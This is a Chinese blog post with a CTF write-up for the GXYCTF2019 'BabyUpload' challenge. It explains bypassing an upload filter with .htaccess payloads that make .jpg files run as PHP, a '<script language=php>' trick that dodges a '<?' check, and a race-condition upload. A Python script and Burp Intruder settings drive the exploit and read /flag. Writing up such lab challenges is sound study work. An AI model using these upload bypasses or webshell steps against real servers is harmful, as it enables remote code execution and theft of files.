User-Profile-Image
hankin
  • 5
请到[后台->外观->菜单]中设置菜单。
  • 分类
    • 靶机渗透
    • 计算机小技巧
    • 未分类
    • 数据结构
    • 内网渗透
    • 代码审计
    • XSS
    • WEB安全漏洞学习
    • Web
    • python
    • PHP
    • NodeJS
    • MYSQL
    • Misc
    • JavaScript
    • Docker
    • CTF相关知识点
    • CTFWP
    • Crypto
    • Cobalt Strike
  • 页面
  • 友链
    • 三哥的博客
    • Root师傅的博客
    • EDS师傅的博客
    • 天正哥的博客
    • 天尘翼师傅的博客
    • 熵增师傅的github
    • 信仰的博客
    • Jadore的博客
Help?

Please contact us on our email for need any support

Support
    首页   ›   CTFWP   ›   正文
CTFWP

[GXYCTF2019]BabyUpload(竞争上传)

2020-01-04 20:16:56
200  0 0

好久就想好好弄懂竞争上传的利用,今天可算是明明白白了

就这道题来说竞争上传三秒左右就会被删掉,真正的图片上传都会提示:上传的太露骨,上传带有‘<?’的php一句话也会被ban

绕过<?检验的方法:<script language=”php”>这里写php代码就行</script>

然后我们发现上传php时提示:后缀名不能有ph!

随便使网页报错发现是apache,想到用.htaccess绕过

给出两个.htaccess  payload

1.AddType application/x-httpd-php .jpg

2.SetHandler application/x-httpd-php

第一个会将.jpg文件的内容当作php代码执行

第二个会将所有文件的内容当作php代码执行

我们先上传.htaccess,然后上传一个jpg文件,其内容为

<script language=”php”>echo file_get_contents(“/flag”);</script>

我这里直接对文件进行读取了,如果换成一句话也可以,用蚁剑连接发现能够在多次尝试后连接上但是不够稳定,其实最好的方法是再生成一个shell.php,但是这里过滤了<?我尝试了下去生成但是失败了

然后我用了两种方法去做这道题

第一种:bp intruder模块对两个文件上传

设置null payload 选择好次数(尽量高些),线程可以略低一些,buu中复现的限制频率是5s50次

然后访问jpg文件回显的路径,获得flag

第二种:写脚本

import requests
url = “http://d8172728-e123-4436-85eb-8348d3d1847b.node3.buuoj.cn/”
session = requests.session()
htaccess = {‘uploaded’: (‘.htaccess’, “SetHandler application/x-httpd-php”, ‘image/jpeg’)}
#htaccess = {‘uploaded’: (‘.htaccess’, “AddType application/x-httpd-php .jpg”, ‘image/jpeg’)}
res_hta = session.post(url, files = htaccess)
print(res_hta.text)
files = {‘uploaded’: (‘123.jpg’, “<script language=\”php\”>echo file_get_contents(\”/flag\”);</script>”, ‘image/jpeg’)}
res_jpg = session.post(url, files = files)
print(res_jpg.text)

res_shell = session.get(url + res_jpg.text[-69:-22])
print(res_shell.text)

获得flag

前提是返回的路径不会不断变化,才可以用竞争上传,感觉利用条件还是比较苛刻的

评论 (0)

点击这里取消回复。

欢迎您 游客  

近期文章
  • SUCTF 2019 Guess_game
  • Python pickle反序列化
  • [安洵杯 2019]easy_serialize_php
  • Session反序列化
  • 原生类序列化
近期评论
    文章归档
    • 2021年1月
    • 2020年12月
    • 2020年11月
    • 2020年9月
    • 2020年7月
    • 2020年6月
    • 2020年5月
    • 2020年4月
    • 2020年3月
    • 2020年2月
    • 2020年1月
    分类目录
    • Cobalt Strike
    • Crypto
    • CTFWP
    • CTF相关知识点
    • Docker
    • JavaScript
    • Misc
    • MYSQL
    • NodeJS
    • PHP
    • python
    • Web
    • WEB安全漏洞学习
    • XSS
    • 代码审计
    • 内网渗透
    • 数据结构
    • 未分类
    • 计算机小技巧
    • 靶机渗透
    功能
    • 登录
    • 项目feed
    • 评论feed
    • WordPress.org
    分类目录
    Copyright © 2021 网站备案号: 蒙ICP备20000552号-1
    smarty_hankin 主题. Designed by hankin
    主页
    页面
    博主
    purplet 管理员
    努力并有所方向
    157 文章 0 评论 21247 浏览
    测试
    测试